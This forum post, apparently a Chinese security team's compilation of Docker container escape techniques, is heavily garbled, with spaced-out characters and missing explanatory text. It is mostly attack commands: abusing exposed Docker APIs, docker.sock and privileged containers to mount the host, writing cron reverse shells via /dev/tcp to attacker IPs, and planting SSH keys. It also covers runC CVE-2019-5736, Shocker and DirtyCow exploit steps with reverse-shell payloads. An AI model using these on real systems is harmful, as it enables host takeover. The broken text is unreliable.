[1009] 2020-08-03_技术干货Docker容器逃逸案例汇集

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-16
2020-08-03_技术干货Docker容器逃逸案例汇集   |   D o c k e r     B y p a s s   B y p a s s   2 0 2 0 - 0 8 - 0 3 W e b s h e l l D o c k e r W e b s h e l l D o c k e r D o c k e r   1 d o c k e r 2 D o c k e r   R e m o t e   A P I   访 d o c k e r . s o c k   d o c k e r   p r i v i l e g e d   3 D o c k e r   S h o c k e r r u n C ( C V E - 2 0 1 9 - 5 7 3 6 ) D o c k e r   c p   ( C V E - 2 0 1 9 - 1 4 2 7 1 ) 4 d i r t y c o w - d o c k e r - v d s o d o c k e r d o c k e r m o u n t f d i s k   - l   P I D   1 d o c k e r / . d o c k e r e n v / p r o c / 1 / c g r o u p " d o c k e r "
2 . 1     d o c k e r   r e m o t e   a p i 访 访 d o c k e r   r e m o t e   a p i d o c k e r d o c k e r 0 . 0 . 0 . 0 A P I d o c k e r d o c k e r   d a e m o n   a p i   d o c k e r 1 / m n t 2 s h e l l / v a r / s p o o l / c r o n / r o o t 3 宿 s h e l l 2 . 2   d o c k e r . s o c k d o c k e r   i n   d o c k e r d o c k e r 宿 d o c k e r d o c k e r 宿 d o c k e r d o c k e r . s o c k 1 d o c k e r . s o c k 2 宿 d o c k e r 3 宿 s u d o   d o c k e r d   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   - H   0 . 0 . 0 . 0 : 2 3 7 5 # d o c k e r   p s c u r l   h t t p : / / < t a r g e t > : 2 3 7 5 / c o n t a i n e r s / j s o n # d o c k e r   - H   t c p : / / < t a r g e t > : 2 3 7 5   p s   - a s u d o   d o c k e r   - H   t c p : / / 1 0 . 1 . 1 . 2 1 1 : 2 3 7 5   r u n   - i t   - v   / : / m n t   n g i n x : l a t e s t   / b i n / b a s h e c h o   ' *   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 0 . 1 . 1 . 2 1 4 / 1 2 3 4 5   0 > & 1 '   > >   / m n t / v a r / s p o o l / c r o n / c r o n t a b s / r o o t d o c k e r   r u n   - - r m   - i t       - v   / v a r / r u n / d o c k e r . s o c k : / v a r / r u n / d o c k e r . s o c k       - v   / u s r / b i n / d o c k e r : / u s r / b i n / d o c k e r       u b u n t u       / b i n / b a s h r o o t @ 9 5 a 2 8 0 b c 5 a 1 9 : / #   f i n d   /   - n a m e   d o c k e r . s o c k / r u n / d o c k e r . s o c k d o c k e r   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   i n f o d o c k e r   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   r u n   - i t   - v   / : / t e s t   u b u n t u   / b i n / b a s h
4 / t e s t   访 宿 s s h s h e l l 2 . 3   d o c k e r   d o c k e r p r i v i l e g e d 使 d o c k e r m o u n t 宿 宿 宿 A B l s   - a l   / t e s t d o c k e r   r u n   - - r m   - i t           - - p r i v i l e g e d           - v   / : / s o f t           - - c a p - a d d = S Y S _ A D M I N           - - n e t = h o s t             - - p i d = h o s t                 - - i p c = h o s t           u b u n t u           / b i n / b a s h s u d o   d o c k e r   r u n   - i t d   - - p r i v i l e g e d   u b u n t u : l a t e s t   / b i n / b a s h f d i s k   - l
C / d e v / s d a 1   D 宿 E n c 宿 s h e l l - v   / : / s o f t 1 宿 r o o t 2 s s h 3 宿 m k d i r   / t e s t m o u n t   / d e v / s d a 1   / t e s t e c h o   ' *   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 / 1 2 3 4 5   0 > & 1 '   > >   / t e s t / v a r / s p o o l / c r o n / c r o n t a b s / r o o t d o c k e r   r u n   - i t d   - v   / r o o t : / r o o t   u b u n t u : 1 8 . 0 4   / b i n / b a s h m k d i r   / r o o t / . s s h c a t   i d _ r s a . p u b   > >   / r o o t / . s s h / a u t h o r i z e d _ k e y s
D o c k e r   L i n u x   n a m e s p a c e 6 D o c k e r   3 . 1   S h o c k e r   s h o c k e r o p e n _ b y _ h a n d l e _ a t 宿 宿 D o c k e r 1 . 0 C a p a b i l i t y 使 C A P _ D A C _ R E A D _ S E A R C H s h o c k e r . c o p e n _ b y _ h a n d l e _ a t D o c k e r <   1 . 0     D o c k e r   1 . 0   g i t h u b - - c a p - a d d = S Y S _ A D M I N     m o u n t - - n e t = h o s t                       N e t w o r k   N a m e s p a c e - - p i d = h o s t                             P I D   N a m e s p a c e - - i p c = h o s t                             I P C   N a m e s p a c e h t t p s : / / g i t h u b . c o m / g a b r t v / s h o c k e r
3 . 2   r u n C C V E - 2 0 1 9 - 5 7 3 6 D o c k e r   1 8 . 0 9 . 2 使 r u n c 1 . 0 - r c 6 宿 r u n c   宿 r o o t D o c k e r   <   1 8 . 0 9 . 2 r u n c <   1 . 0 - r c 6   d o c k e r   d o c k e r - r u n c   1 c u r l   h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / t h i n k y c x / e 2 c 9 0 9 0 f 0 3 5 d 7 b 0 9 1 5 6 0 7 7 9 0 3 d 6 a f a 5 1 / r a w   - o   i n s t a l l . s h   & &   b a s h   i n s t a l l . s h
2 P O C 3 仿 p a y l o a d 4 e x e c P a y l o a d 5 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 宿 s h e l l p o c g i t   c l o n e   h t t p s : / / g i t h u b . c o m / F r i c h e t t e n / C V E - 2 0 1 9 - 5 7 3 6 - P o C # P a y l o a d v i   m a i n . g o p a y l o a d   =   " # ! / b i n / b a s h   n   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 / 1 2 3 4   0 > & 1 " p a y l o a d C G O _ E N A B L E D = 0   G O O S = l i n u x   G O A R C H = a m d 6 4   g o   b u i l d   m a i n . g o d o c k e r   s u d o   d o c k e r   c p   . / m a i n   2 4 8 f 8 b 7 d 3 c 4 5 : / t m p #   s u d o   d o c k e r   e x e c   - i t   2 4 8 f 8 b 7 d 3 c 4 5   / b i n / b a s h #   c h m o d   7 7 7   m a i n #   P a y l o a d . / m a i n s u d o   d o c k e r   e x e c   - i t     c a f a 2 0 c f b 0 f 9   / b i n / s h
3 . 3   D o c k e r   c p C V E - 2 0 1 9 - 1 4 2 7 1 D o c k e r 宿 使 c p d o c k e r - t a r l i b n s s * . s o l i b n s s * . s o d o c k e r - t a r D o c k e r D o c k e r 宿 r o o t D o c k e r   1 9 . 0 3 . 0   D o c k e r   1 9 . 0 3 . 1 4 . 1   D i r t y C o w D o c k e r D i r t y   C o w C V E - 2 0 1 6 - 5 1 9 5 L i n u x D o c k e r r o o t s h e l l 1 d o c k e r 宿 d i r t y C o w 宿 使 u b u n t u - 1 4 . 0 4 . 5 2 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g e b l / d i r t y c o w - d o c k e r - v d s o . g i t
3 P O C : 4 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 宿 s h e l l g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g e b l / d i r t y c o w - d o c k e r - v d s o . g i t c d   d i r t y c o w - d o c k e r - v d s o / s u d o   d o c k e r - c o m p o s e   r u n   d i r t y c o w   / b i n / b a s h c d   / d i r t y c o w - v d s o / m a k e . / 0 x d e a d b e e f   1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 : 1 2 3 4

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则